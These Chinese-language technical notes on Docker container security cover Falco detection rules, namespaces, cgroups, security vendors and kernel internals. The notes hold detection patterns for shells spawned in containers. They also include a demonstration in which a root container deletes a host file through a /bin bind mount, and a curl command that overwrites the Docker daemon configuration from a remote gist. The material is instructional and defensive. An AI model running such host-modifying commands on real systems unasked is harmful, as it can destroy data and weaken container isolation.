監控行為或活動 探測通過規則集定義好的異常行為 使用sysdig豐富和強大的過濾表達式對容器的全面支持 使用sysdig的容器支持豐富的通知方式 輸出報警到文件、標準輸出以及syslog開源 任何人都可以貢獻規則或者代碼- 架構
如下圖所示,當發生系統調用時,內核hook會調用sysdig庫,產生一個事件,經過Falco規則集的過濾表達式之后產生異常事件,觸發報警。
- demo
sysdig falco定義的規則非常容易理解,下面可以看幾個demo:
容器中執行了shell:
container.id != host and proc.name = bash系統二進制文件被重寫:
fd.directory in (/bin,/sbin,/usr/bin,/user/sbin) and write容器namespace發生改變:
evt.type = setns and not proc.name in (docker,sysdig) /dev下有非設備文件寫入 (evt.type = create or evt.arg.flags contains O_CREAT) and proc.name != blkid and fd.directory = /dev and fd.name != /dev/null進程試圖訪問相機:
evt.type = open and fd.name = /dev/video0 and not proc.name in (skype,webex)本文將從以下4個安全威脅場景展示如何使用Sysdig Falco進行異常行為監控:
運行交互式shell的容器 運行未經授權的進程 寫入非用戶數據目錄 容器異常掛載讀者將同時扮演攻擊者和防御者(系統管理員)角色,驗證Sysdig Falco是否已檢測到入侵企圖。
2.5 Docker容器安全隔離與資源控制
介紹如何將namespace和cgroup技術用于Docker容器安全隔離與資源控制。
眾所周知,Docker使用namespace進行環境隔離、使用cgroup進行資源限制。但是在實際應用中,還是有很多企業或者組織沒有使用namespace或者cgroup對容器加以限制,從而埋下安全隱患。本文定位于簡單介紹namespace和cgroup的基本原理之后,通過具體配置和應用向讀者展示如何應用這些技術保護docker容器安全,不過namespace和cgroup并不是萬能的,他們只是保障Docker容器安全的多種方案中的一類而已。
2.5.1 namespace
- 概述
我們可以給容器分配有限的資源,這有助于限制系統和惡意攻擊者可用的系統資源。每個容器所能獲取的組件有:
網絡堆棧 進程空間 文件系統實例可通過使用namespace來實現限制資源。namespace就像一個“視圖”,它只顯示系統上所有資源的一個子集。這提供了一種隔離形式:在容器中運行的進程不能看到或影響其他容器中的進程或者宿主本身。
以下是一些常見的namespace類型實例。 Namespace例子
Cgroup CLONE_NEWCGROUP 限制root目錄 IPC CLONE_NEWIPC System V IPC, POSIX消息隊列 Network CLONE_NEWNET 網絡設備、棧、端口等 Mount CLONE_NEWNS 掛載點 PID CLONE_NEWPID 進程ID User CLONE_NEWUSER 用戶和組ID UTS CLONE_NEWUTS 主機名和NIS域名Docker run 命令有幾個參數和 namespace 相關:
IPC:--ipc string IPC namespace to use PID:--pid string PID namespace to use User:--userns string User namespace to use UTS:--uts string UTS namespace to use- 確定當前Docker用戶
默認情況下,Docker守護程序在主機上以root用戶身份運行。通過列出所有進程,你可以識別Docker守護程序運行的用戶。
ps aux | grep docker由于守護程序以root身份運行,因此啟動的任何容器將具有與主機的root用戶相同的安全上下文。
docker run --rm alpine id這樣時有安全風險的:如果root用戶擁有的文件可從容器訪問,則可以由正在運行的容器修改。
- 刪除文件
以下命令標識以root用戶身份運行容器的風險。
首先,在我們的主機上創建touch命令的副本。
sudo cp /bin/touch /bin/touch.bak && ls -lha /bin/touch.bak由于容器的/hos目錄和宿主的/bin是同一個,因此可以從容器刪除宿主上的文件,不信你試試。
docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak結果,該命令被刪的一干二凈。
ls -lha /bin/touch.bak在這種情況下,容器能夠從主機刪除觸摸二進制文件。
- 更改容器用戶
可以通過更改用戶和組上下文以及使用非特權用戶運行的容器來規避以上風險。
docker run --user = 1000:1000 --rm alpine id作為無特權用戶,將無法刪除二進制文件。
$ docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak $ docker run --user=1000:1000 --rm alpine id uid=1000 gid=1000 $ sudo cp /bin/touch /bin/touch.bak $ docker run --user=1000:1000 -it -v /bin:/host/ alpine rm -f /host/touch.bak rm: can't remove '/host/touch.bak': Permission denied但是,如果我們在容器內部需要訪問根目錄,那么我們仍然會將自己暴露給前一個場景。這是namespace出現的原因。
- 啟用用戶namespace
Docker建議不要在啟用namespace模式和禁用namespace模式之間來回切換Docker daemon,執行此操作可能會導致鏡像權限出現問題。
namespace是Linux內核安全功能,該功能允許namespace或容器內的root用戶訪問主機上的非特權用戶ID。
- 任務
使用參數userns-remap啟動Docker daemon時,將啟用namespace。運行以下命令以修改Docker daemon設置并重新啟動該進程。
curl https://gist.githubusercontent.com/BenHall/bb878c99d06a63cd8ed4d1c0a6941df4/raw/76136ffbca341846619086cfe40ab8e013683f47/daemon.json -o /etc/docker/daemon.json&& sudo service docker restart使用cat /etc/docker/daemon.json查看設置
cat /etc/docker/daemon.json {"bip":"172.18.0.1/24","debug": true,"storage-driver": "overlay","userns-remap": "1000:1000","insecure-registries": ["registry.test.training.katacoda.com:4567"] }重新啟動后,你可以使用以下命令驗證namespace是否到位
docker info | grep "Root Dir" WARNING: No swap limit support Docker Root Dir: /var/lib/docker/100000.100000Docker將不再以root用戶身份將文件存儲在磁盤卷上。相反,所有內容都作為映射用戶進行處理。 Docker Root Dir定義了Docker為映射用戶存儲數據的位置。
注意:在現有系統上啟用此功能時,需要重新下載Docker Images。
- namespace保護
啟用namespace后,Docker Dameon將以其他用戶身份運行。
ps aux | grep dockerd啟動容器時,容器內的用戶將具有root權限。
docker run --rm alpine id但是,用戶將無法修改主機上運行的任何內容。
sudo cp / bin / touch /bin/touch.bak docker run -it -v / bin /:/ host / alpine rm -f /host/touch.bak與此前不同,我們的ps命令仍然存在。
ls -lha /bin/touch.bak通過使用namespace,可以將Docker root用戶分開,并提供比以前更強的安全性和隔離性。
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) $ sudo cp /bin/touch /bin/touch.bak $ docker run -it -v /bin/:/host/ alpine rm -f /host/touch.bak rm: can't remove '/host/touch.bak': Permission denied $ ls -lha /bin/touch.bak -rwxr-xr-x 1 root root 63K Aug 27 03:59 /bin/touch.bak- 使用網絡namespace
雖然cgroup控制進程可以使用多少資源,但命名空間還能控制進程的查看和訪問權限。
例子:
啟動容器時,將定義并創建網絡接口。這為容器提供了唯一的IP地址和接口。
通過將命名空間更改為主機,而不是容器的網絡與其接口隔離,該進程將可以訪問主機網絡接口。
[root@host01 ~]# docker run -it --net=host alpine ip addr show 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope hostvalid_lft forever preferred_lft forever 2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP qlen 1000link/ether 02:42:ac:11:00:11 brd ff:ff:ff:ff:ff:ffinet 172.17.0.17/16 brd 172.17.255.255 scope global enp0s3valid_lft forever preferred_lft foreverinet6 fe80::b3ad:ecc4:2399:7a54/64 scope linkvalid_lft forever preferred_lft forever 3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UPlink/ether 02:42:cd:78:f0:22 brd ff:ff:ff:ff:ff:ffinet 172.18.0.1/24 brd 172.18.0.255 scope global docker0valid_lft forever preferred_lft foreverinet6 fe80::e9ad:a1a7:8b68:a0d1/64 scope linkvalid_lft forever preferred_lft forever 5: veth158bc01@if4: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue master docker0 stateUPlink/ether 9e:bc:3d:01:53:95 brd ff:ff:ff:ff:ff:ffinet6 fe80::ca3e:49ea:e1d0:8755/64 scope linkvalid_lft forever preferred_lft forever如果進程監聽端口,它們將在宿主接口上被監聽并映射到容器。
- 使用Pid命名空間
與網絡一樣,容器可以看到的進程也取決于它所屬的命名空間。 通過更改pid命名空間,允許容器與超出其正常范圍的進程進行交互。
例子:
第一個容器將在其進程名稱空間中運行。 因此,它可以訪問的唯一進程是在容器中啟動的進程。
通過將命名空間更改為主機,容器還可以查看系統上運行的所有其他進程。
[root@host01 ~]# docker run -it --pid=host alpine ps aux PID USER TIME COMMAND1 root 0:00 /usr/lib/systemd/systemd2 root 0:00 [kthreadd]4 root 0:00 [kworker/0:0H]6 root 0:00 [mm_percpu_wq]7 root 0:00 [ksoftirqd/0]8 root 0:00 [rcu_sched]9 root 0:00 [rcu_bh]- 共享命名空間
有時需要提供容器訪問主機名稱空間,例如調試工具,但被認為是不好的做法。這是因為你正在打破可能引入漏洞的容器安全模型。相反,如果需要,請使用共享命名空間來僅訪問容器所需的命名空間。
例子:
第一個容器啟動Nginx服務器。這將定義一個新的網絡和進程命名空間。 Nginx服務器將自身綁定到新定義的網絡接口的端口80。
其他容器現在可以使用語法容器重用此命名空間:。 curl命令下面可以訪問在localhost上運行的HTTP服務器,因為它們共享相同的網絡接口。
docker run --net = container:http benhall / curl curl -s localhost<!DOCTYPE html> <html> <head> <title>Welcome to nginx!</title> <style>body {width: 35em;margin: 0 auto;font-family: Tahoma, Verdana, Arial, sans-serif;} </style> </head> <body> <h1>Welcome to nginx!</h1> <p>If you see this page, the nginx web server is successfully installed and working. Further configuration is required.</p><p>For online documentation and support please refer to <a href="http://nginx.org/">nginx.org</a>.<br/> Commercial support is available at <a href="http://nginx.com/">nginx.com</a>.</p><p><em>Thank you for using nginx.</em></p> </body>它還可以查看共享容器中的進程并與之交互。
docker run --pid=container:http alpine ps aux PID USER TIME COMMAND1 root 0:00 nginx: master process nginx -g daemon off;6 100 0:00 nginx: worker process7 root 0:00 ps aux 這對于調試工具很有用,例如strace。這允許你在不更改或重新啟動應用程序的情況下為特定容器提供更多權限。2.5.2 cgroup
- 概述
cgroup可為系統中所運行的任務或進程的用戶群組分配資源,比如CPU事件、系統內存、網絡帶寬或者這些資源的組合。一般可以分為下面幾種類型:
Resource limitation: 限制資源使用,比如內存使用上限以及文件系統的緩存限制。 Prioritization: 優先級控制,比如:CPU利用和磁盤IO吞吐。 Accounting: 一些審計或一些統計,主要目的是為了計費。 Control: 掛起進程,恢復執行進程。以下是一些常見的cgroup類型示例。
CGroups例子
--cpu-shares #限制cpu共享 --cpuset-cpus #指定cpu占用 --memory-reservation #指定保留內存 --kernel-memory #內核占用內存 --blkio-weight (block IO) #blkio權重 --device-read-iops #設備讀iops --device-write-iops #設備寫iopsdocker run中與cgroup相關的參數如下:
block IO:--blkio-weight value Block IO (relative weight), between 10 and 1000--blkio-weight-device value Block IO weight (relative device weight) (default [])--cgroup-parent string Optional parent cgroup for the container CPU:--cpu-percent int CPU percent (Windows only)--cpu-period int Limit CPU CFS (Completely Fair Scheduler) period--cpu-quota int Limit CPU CFS (Completely Fair Scheduler) quota-c, --cpu-shares int CPU shares (relative weight)--cpuset-cpus string CPUs in which to allow execution (0-3, 0,1)--cpuset-mems string MEMs in which to allow execution (0-3, 0,1) Device: --device value Add a host device to the container (default [])--device-read-bps value Limit read rate (bytes per second) from a device (default [])--device-read-iops value Limit read rate (IO per second) from a device (default [])--device-write-bps value Limit write rate (bytes per second) to a device (default [])--device-write-iops value Limit write rate (IO per second) to a device (default []) Memory: --kernel-memory string Kernel memory limit-m, --memory string Memory limit--memory-reservation string Memory soft limit--memory-swap string Swap limit equal to memory plus swap: '-1' to enable unlimited swap--memory-swappiness int Tune container memory swappiness (0 to 100) (default -1)- 定義內存限制
可以通過定義上限邊界來幫助限制應用程序的內存泄漏或其他程序bug。
例子
docker run -d --name mb100 --memory 100m alpine top da4db4fd6b70501783c172b7459227c6c8e0426784acf1da26760d80eb2403b0容器的內存使用可通過docker stats命令查看。
docker stats --no-stream CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS da4db4fd6b70 mb100 0.00% 440KiB / 100MiB 0.43% 6.21kB / 90B 1.06MB / 0B 1- 定義CPU份額
雖然內存限制定義了設置的最大值,但CPU限制基于共享。這些份額是一個進程應該與另一個進程在處理時間上分配的權重。 如果CPU處于空閑狀態,則該進程將使用所有可用資源。 如果第二個進程需要CPU,則將根據權重共享可用的CPU時間。
例子
下面是啟動具有不同共享權重的容器的示例。 --cpu-shares參數定義0-768之間的共享。 如果容器定義了768的份額,而另一個容器定義了256的份額,則第一個容器將具有50%的份額,而另一個容器具有25%的可用份額。 這些數字是由于CPU共享的加權方法而不是固定容量。 在第一個容器下方將允許擁有50%的份額。 第二個容器將限制在25%。
有一點很重要,就是只要沒有其他進程在,即便是定義了權重,啟動的進程也能獲得共享的100%的資源。
- 其他限制
諸如讀寫IP的限制,可以按照參考文檔配置測試,測試效果如上面的cpu和內存限制。
參考文檔:
Docker 容器使用 cgroups 限制資源使用
Docker 使用 Linux namespace 隔離容器的運行環境
2.6 Docker容器系統調用和文件訪問的權限控制
介紹如何使用seccomp和apparmor實現Docker容器系統調用和文件訪問的權限控制。
2.7 安全管理docker容器敏感信息
介紹如何使用Hashicorp Vault安全管理docker容器敏感信息。
3. 競品廠商
3.1 neuvector
核心思想:
Production-Grade Container Security Profile. Protect. Prevent.Kubernetes-native. Vulnerability management. Zero-day blocking. Micro-segmentation. DevOps agility.3.1.1 Use Cases:
1.DevOps Transformation
Speed your journey to DevOps.// 加快您的DevOps之旅。
NeuVector covers the entire CI/CD pipeline with complete vulnerability management and attack blocking in production with our patented container firewall. // NeuVector通過我們的專利容器防火墻在整個CI/CD 流水線中提供了完整的漏洞管理和生產中的攻擊阻止功能。
2.Compliance(合規)
Don’t sweat the details. // 不用為細節煩惱
NeuVector has you covered with PCI-ready container security. Meet requirements with less time and less work. // NeuVector為您提供了支持PCI的容器安全性。 以更少的時間和更少的工作來滿足需求。
3.Cloud Migration(云遷移)
Deploy containers in the cloud with confidence. //放心地在云中部署容器。
NeuVector protects your data and IP in public and private cloud environments. // NeuVector在公共和私有云環境中保護您的數據和IP。
4.Security Automation(安全自動化)
Accelerate your CI/CD pipeline with Security as Code. // 加速CI/CD流水中的代碼安全
Continuously scan throughout the container lifecycle. Remove security roadblocks.Bake in security policies at the start. //在整個容器生命周期中連續掃描。 刪除安全障礙。一開始就烘焙安全策略。
5.Microservices(微服務)
Transition to microservices securely. // 安全地過渡到微服務。
Comprehensive vulnerability management to establish your risk profile and the only patented container firewall for immediate protection from zero days, known, and unknown threats. //全面的漏洞管理可建立您的風險概況,并是唯一的獲得專利的容器防火墻,可立即防御零日,已知和未知威脅。
6.Container Segmentation
Protect PII //保護個人身份信息
Essential for PCI and other mandates, NeuVector creates a virtual wall to keep personal and private information securely isolated on your network. //對于PCI和其他任務至關重要,NeuVector可以創建虛擬墻,以將個人和私人信息安全地隔離在您的網絡上。
3.1.2 Kubernetes-native Container Security
Kubernetes原生容器安全
NeuVector is the only kubernetes-native container security platform that delivers complete container security. Our end-to-end vulnerability management gives you a continuous risk profile on known threats. Our patented container firewall technology starts blocking on Day 1 to protect your infrastructure from known and unknown threats. Our behavioral learning and Security as Code automation processes improve the flow between development and security. Integrating policy helps prevent future exposure.
//NeuVector是唯一提供完整容器安全性的kubernetes原生容器安全性平臺:
我們的端到端漏洞管理為您提供有關已知威脅的連續風險概況。
我們獲得專利的容器防火墻技術從第1天起開始阻止,以保護您的基礎結構免受已知和未知的威脅。
我們的行為學習和“安全即代碼”自動化流程改善了開發與安全之間的流程。
整合政策有助于防止未來的風險敞口。
1.Security
NeuVector’s defense-in-depth security extends beyond Kubernetes network policies to protect your applications from the CI/CD pipeline to production. //NeuVector的縱深防御安全性超出了Kubernetes網絡策略的范圍,可保護您的應用程序從CI / CD管道到生產環境。
Vulnerability management plus protection from Day 1 without patching//從第一天起就進行漏洞管理并提供保護,無需修補
Protection from unpatched CVEs, zero days, and insider threats//保護免受未修補的CVE,零時差和內部威脅
Full coverage to avoid breaches from inside and out //全面覆蓋,避免從內到外破壞
2.Visibility
NeuVector offers a comprehensive lens into all network traffic and actionable data throughout the container lifecycle.//NeuVector為整個容器生命周期中的所有網絡流量和可操作數據提供了一個全面的視角。
Adapt quickly in dynamic DevOps environments //在動態DevOps環境中快速適應
Identify anomalous behavior and rogue employees //識別異常行為和欺騙的員工
Normalize security policies between environments.//規范環境之間的安全策略。
3.Compliance
NeuVector simplifies compliance mandates for any container environment, including highly regulated industries like financial services and healthcare.//NeuVector簡化了對任何容器環境的合規性要求,包括金融服務和醫療保健等高度管制的行業。
Meet PCI requirements for container segmentation, plus GDPR and HIPAA //滿足PCI容器分段要求,以及GDPR和HIPAA
Use automated templates for easier reporting //使用自動化模板以更輕松地報告
Map to CIS Benchmarks for Kubernetes //映射到Kubernetes的CIS基準
3.2 docker安全廠商
以下是七個最近改進的容器安全產品和服務,它們在云和你自己的數據中心中為容器提供漏洞檢測,合規性檢查,白名單,防火墻和運行時保護等功能。
- Aporeto
Aporeto專注于運行時保護,類似于下面討論的NeuVector產品。該公司提供微服務安全產品以保護Kubernetes工作負載和云網絡防火墻系統,以保護在分布式環境中運行的應用程序。
通過Kubernetes工作負載,Aporeto可以保護本地和托管環境(例如,Google Kubernetes Engine)。為每個創建的資源分配一個服務標識,用于確保應用程序周圍的信任鏈不被破壞。除其他外,服務標識用于強制聲明的應用程序行為,無論應用程序的pod實際存在于何處。
- Aqua容器安全平臺
Aqua容器安全平臺為Linux容器和Windows容器提供合規性和運行時安全性。
端到端容器安全管理器允許管理員將安全策略和風險配置文件應用于應用程序,并將這些配置文件與不同的應用程序構建管道相關聯, 鏡像掃描可以與構建和CI/CD工具集成。
Aqua容器安全平臺還允許管理員使用應用程序上下文在運行時為應用程序分割網絡。Aqua平臺與Hashicorp Vault等秘密管理工具配合使用,它支持Grafeas API,用于訪問軟件組件中的元數據。Aqua平臺可以記錄它在應用程序的Grafeas商店中發現的任何漏洞信息,Aqua策略可以利用Grafeas定義數據來處理安全事件和軟件問題。
Aqua Container Security Platform可用于本地或云端部署。免費試用版或開源版本不可用,但Aqua已經發布了許多源自該平臺的開源工具。
- Atomic Secured Docker
Atomic Secured Docker是Ubuntu,CentOS和Red Hat Enterprise Linux的替代Linux內核,它利用一些強化策略來抵消潛在的攻擊。許多保護措施,如用戶內存的強化權限,都來自Atomicorp的安全內核產品系列。其他產品,如容器突破保護,專為Docker設計。
可通過直接購買獲得Atomic Secured Docker,AWS和Azure市場中提供了AWS托管的CentOS和Azure托管的CentOS和Ubuntu的版本。
- NeuVector
NeuVector旨在保護整個Kubernetes集群。它適用于現有的Kubernetes管理解決方案,如Red Hat OpenShift和Docker Enterprise Edition,旨在保護部署的所有階段的應用程序,從開發(通過Jenkins插件)到生產。
與此處的許多其他解決方案一樣,NeuVector作為容器部署到現有的Kubernetes集群中,而不是通過修改現有代碼。將NeuVector添加到群集時,它會發現所有托管容器并生成詳細說明連接和行為的映射。檢測并考慮由應用程序升級或降低引起的任何更改,以便對威脅(包括容器突破或新漏洞)的實時掃描仍然有效。
- Sysdig Secure
Sysdig Secure提供了一組工具,用于監視容器運行時環境并從中獲取取證。Sysdig Secure旨在與Sysdig的其他儀器工具(如Sysdig Monitor)一起運行。
可以針對每個應用程序,每個容器,每個主機或每個網絡活動設置和實施環境策略。 Sysdig Secure跟蹤的任何事件都可以通過主持人或容器或通過協調器(通常是Kubernetes)的鏡頭來查看。可以記錄和檢查每個容器的命令歷史記錄,并且可以以類似于Twistlock的“事件探索器”功能的方式記錄和回放整個群集中的常規取證。
- Tenable.io Container Security
Tenable.io Container Security專注于為DevOps團隊提供在構建過程中對容器安全性的可見性,而不是在生產過程中。
在構建時掃描容器鏡像以查找惡意軟件,漏洞和策略合規性。如果鏡像或鏡像中的任何元素拋出紅色標記,開發人員會收到問題的性質及其確切位置的通知,例如,多層鏡像的特定層,因此可以修復快速下一次推動。
Tenable.io Container Security適用于大多數常見的CI/CD構建系統和容器鏡像注冊表,并提供所有正在運行的容器鏡像,策略實施狀態和存儲庫行為的當前狀態的儀表板視圖。
- Twistlock
Twistlock為Docker Enterprise等“核心”容器產品未涵蓋的容器添加了許多安全控制。其中一些功能包括:
合規性控制,用于對容器實施HIPAA和PCI規則。
對Jenkins等構建工具的合規性警報。
針對云原生應用程序進行防火墻。
基于有效和無效容器行為分析的容器運行時攻擊保護。
支持Kubernetes的CIS基準測試,以便可以根據保護Kubernetes的一系列通用標準檢查Kubernetes管理的部署。
2018年8月發布的Twistlock 2.5增加了新的取證分析技術,可以減少運行時開銷(例如,將事件前和事件后容器狀態信息存儲在容器本身之外);用于映射命名空間,pod和容器的實時可視化工具的增強功能;無服務器計算系統的防御和防御。
5. 內核相關技術
近幾年容器(Container)、Kubernetes等技術在數據中心、云計算、各互聯網公司的業務服務中得到廣泛應用,和20世紀60年代就興起的虛擬機(Virtual Machine,VM)技術一樣,容器也是一種服務虛擬化技術(Server Virtualization),但是它更加輕量,同時將焦點從Machine轉移到Application,極大提高了開發、測試、生產環境部署的效率,不過其安全性和隔離性比虛擬機稍遜一籌,在一些場景下也無法完全替代虛擬機。
內核對容器的支持:
- chroot:chroot機制允許更改進程及其所有子進程的根目錄,用于限制對單個文件夾的文件系統訪問,目標進程及其子進程將該文件夾視為根文件夾(/)(不提供進程隔離)。
- namespace(by IBM):內核命名空間是進程隔離的基礎,是實現基于容器的虛擬化的關鍵概念之一,它能夠隔離進程、進程組甚至完整的子系統(如進程間通信或者內核的網絡子系統)。每個命名空間中的進程ID分配是獨立的,不同命名空間中的進程可能具有相同的進程ID。
- Control group(by Google ):cgroup是一種跟蹤進程和進程組(包括創建的子進程)的機制,它提供的鉤子允許其他子系統擴展這些功能,并實現細粒度的資源控制和限制。將資源分配給進程、進程組并管理這些分配的能力允許規劃和控制容器的使用。同樣,若有進程已聲明了對某些資源的占用,其他進程則無法使用。
- Mandatory Access Control :MAC策略通常用于限制對敏感資源的訪問(而這些訪問在一定上下文下是不需要的),以減輕從容器內部對主機和其他容器的攻擊,從而提高容器虛擬化技術的安全性。
5.1 cgroup
cgroup就是組的意思,可以對某一組進程進程資源配額的配置。其最核心的就是多對多關系的組織:
1、subsys是一組基類(cpu、blkio),css是基類的實例化。
2、cgroup的一組css的集合。
3、hierarchy是多個cgoup的組合,它決定cgroup中能創建哪些subsys的css。hierarchy可以任意引用幾種subsys,但是一個subsys只能被一個hierarchy引用。如果一個hierarchy已經引用某個subsys,那么其他hierarchy就不能再引用這個subsys了。hierarchy對應cgroupfs_root數據結構。
4、一旦hierarchy確定了subsys,那么它下面的cgroup只能創建對應的css實例。一個subsys只能存在于某個hierarchy中,hierarchy下的多個cgroup可以創建這個subsys對應的多個css。
5、hierarchy、cgroup、css三者還使用文件系統來表示層次關系:hierarchy是文件系統掛載點,cgroup是文件夾,css是文件夾中的文件。css的值,已經兄弟和父子關系,表示了subsys資源配額的關系。
6、cgoup是為了劃分資源配額,配置的主體是進程task。每個task在每一類別的subsys上都有配額,所以每個task在每個類別的subsys上有一個唯一的css與之關聯。
7、進程和css是一對多(1 x N)的關系。而系統中的多個進程和多個css,是多對多(M x N)的關。為了收斂這種多對多的關系,系統把所有css屬性都相同的一組進程放在一個css_set當中,把多個css放在一個cgroup當中,這樣還是多對多但是已經收斂(M/a x N/b)。css_set根據屬性組合,存入css_set_table當中。
8、css_set代表a個css屬性相同的進程,cgroup代表引用的b個subsys。多對多的關系從task vs css的(M x N),收斂到css_set vs cgroup的(M/a x N/b)。為了進一步簡化css_set和cgroup之間多對多關系的雙向查找,引入了cg_group_link數據結構:
task_struct通過->cgroup成員找到css_set結構,css_set利用->tasks鏈表把所有css屬性相同的進程鏈接到一起。
css_set → cgroup:css_set的->cgrp_links鏈表上掛載了這組css相關cgroup對應的cg_cgroup_link,通過cg_cgroup_link->cgrp找到cgroup,再通過cgroup->subsys[]找到css。
cgroup → css_set:cgroup的->cset_links鏈表上掛載了所有指向本cgoup的task對應的cg_cgroup_link,通過cg_cgroup_link->cset找到css_set,再通過css_set->tasks找到所有的task_struct。
9、還有一條task_struct → cgroup 的通路:
路徑:task_struct->cgroup → css_set->subsys[] → cgroup_subsys_state->cgroup → cgroup
5.2 namespace
Namespace是對全局系統資源的一種封裝隔離,使得處于不同namespace的進程擁有獨立的全局系統資源,改變一個namespace中的系統資源只會影響當前namespace里的進程,對其他namespace中的進程沒有影響。
Linux內核支持的namespaces如下:
| Cgroup | CLONE_NEWCGROUP | Cgroup root directory (since Linux 4.6) |
| IPC | CLONE_NEWIPC | System V IPC, POSIX message queues (since Linux 2.6.19) |
| Network | CLONE_NEWNET | Network devices, stacks, ports, etc. (since Linux 2.6.24) |
| Mount | CLONE_NEWNS | Mount points (since Linux 2.4.19) |
| PID | CLONE_NEWPID | Process IDs (since Linux 2.6.24) |
| User | CLONE_NEWUSER | User and group IDs (started in Linux 2.6.23 and completed in Linux 3.8) |
| UTS | CLONE_NEWUTS | Hostname and NIS domain name (since Linux 2.6.19) |
Ps:其中,cgroup namespace在4.6的內核中才實現,并且和cgroup v2關系密切,現在普及程度還不高,比如docker現在就還沒有用它,所以在namespace系列文章中暫時不會介紹cgroup namespace。
系統中的每個進程都有/proc/[pid]/ns/這樣一個目錄,里面包含了這個進程所屬namespace的信息,里面每個文件的描述符都可以用來作為setns函數(后文會介紹)的參數。
查看當前bash進程所屬的namespace信息:
myc@myc-virtual-machine:~/data/scara$ ll /proc/3366/ns/ 總用量 0 dr-x--x--x 2 myc myc 0 12月 3 14:35 ./ dr-xr-xr-x 9 myc myc 0 11月 25 11:16 ../ lrwxrwxrwx 1 myc myc 0 12月 3 16:21 cgroup -> cgroup:[4026531835] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 ipc -> ipc:[4026531839] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 mnt -> mnt:[4026531840] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 net -> net:[4026531957] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 pid -> pid:[4026531836] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 user -> user:[4026531837] lrwxrwxrwx 1 myc myc 0 12月 3 16:21 uts -> uts:[4026531838]和namespace相關的函數只有三個,如下所示:
一、clone: 創建一個新的進程并把他放到新的namespace中。
int clone(int (*child_func)(void *), void *child_stack, int flags, void *arg);其中:flags用于指定一個或者多個上面的CLONE_NEW*宏定義(當然也可以包含跟namespace無關的flags,多個flags 用|進行分隔),這樣就會創建一個或多個新的不同類型的namespace,并把新創建的子進程加入新創建的這些namespace中。
二、setns: 將當前進程加入到已有的namespace中。
int setns(int fd, int nstype);其中:
- fd:指向/proc/[pid]/ns/目錄里相應namespace對應的文件,表示要加入哪個namespace
- nstype:指定namespace的類型(上面的任意一個CLONE_NEW*),具體分為兩種情況:1. 如果當前進程不能根據fd得到它的類型,如fd由其他進程創建,并通過UNIX domain socket傳給當前進程,那么就需要通過nstype來指定fd指向的namespace的類型。2. 如果進程能根據fd得到namespace類型,比如這個fd是由當前進程打開的,那么nstype設置為0即可。
三、unshare: 使當前進程退出指定類型的namespace,并加入到新創建的namespace(相當于創建并加入新的namespace)。
int unshare(int flags);其中:flags用于指定一個或者多個上面的CLONE_NEW*宏定義(當然也可以包含跟namespace無關的flags,多個flags 用|進行分隔),這樣就會創建一個或多個新的不同類型的namespace,并把新創建的子進程加入新創建的這些namespace中。
clone和unshare的區別
clone和unshare的功能都是創建并加入新的namespace, 他們的區別是:
- unshare是使當前進程加入新的namespace。
- clone是創建一個新的子進程,然后讓子進程加入新的namespace,而當前進程保持不變。
5.3 鏡像(Image) & 容器(Container)
鏡像:一個特殊的文件系統
操作系統分為內核和用戶空間。對于 Linux 而言,內核啟動后,會掛載 root 文件系統為其提供用戶空間支持。而 Docker 鏡像(Image),就相當于是一個 root 文件系統。
Docker 鏡像是一個特殊的文件系統,除了提供容器運行時所需的程序、庫、資源、配置等文件外,還包含了一些為運行時準備的一些配置參數(如匿名卷、環境變量、用戶等)。
鏡像不包含任何動態數據,其內容在構建之后也不會被改變。
Docker 設計時,就充分利用 Union FS 的技術,將其設計為分層存儲的架構。 鏡像實際是由多層文件系統聯合組成。
鏡像構建時,會一層層構建,前一層是后一層的基礎。每一層構建完就不會再發生改變,后一層上的任何改變只發生在自己這一層。
比如,刪除前一層文件的操作,實際不是真的刪除前一層的文件,而是僅在當前層標記為該文件已刪除。
在最終容器運行的時候,雖然不會看到這個文件,但是實際上該文件會一直跟隨鏡像。
因此,在構建鏡像的時候,需要額外小心,每一層盡量只包含該層需要添加的東西,任何額外的東西應該在該層構建結束前清理掉。
分層存儲的特征還使得鏡像的復用、定制變的更為容易。甚至可以用之前構建好的鏡像作為基礎層,然后進一步添加新的層,以定制自己所需的內容,構建新的鏡像。
容器和鏡像的區別就在于,所有的鏡像都是只讀的,而每一個容器其實等于鏡像加上一個可讀寫的層,也就是同一個鏡像可以對應多個容器。
鏡像(Image)和容器(Container)的關系,就像是面向對象程序設計中的類和實例一樣,鏡像是靜態的定義,容器是鏡像運行時的實體。容器可以被創建、啟動、停止、刪除、暫停等 。
容器的實質是進程,但與直接在宿主執行的進程不同,容器進程運行于屬于自己的獨立的命名空間。前面講過鏡像使用的是分層存儲,容器也是如此。
容器存儲層的生存周期和容器一樣,容器消亡時,容器存儲層也隨之消亡。因此,任何保存于容器存儲層的信息都會隨容器刪除而丟失。
按照 Docker 最佳實踐的要求,容器不應該向其存儲層內寫入任何數據 ,容器存儲層要保持無狀態化。
所有的文件寫入操作,都應該使用數據卷(Volume)、或者綁定宿主目錄,在這些位置的讀寫會跳過容器存儲層,直接對宿主(或網絡存儲)發生讀寫,其性能和穩定性更高。
數據卷的生存周期獨立于容器,容器消亡,數據卷不會消亡。因此, 使用數據卷后,容器可以隨意刪除、重新 run,數據卻不會丟失。
6. 背景知識
6.1 sdn & openflow
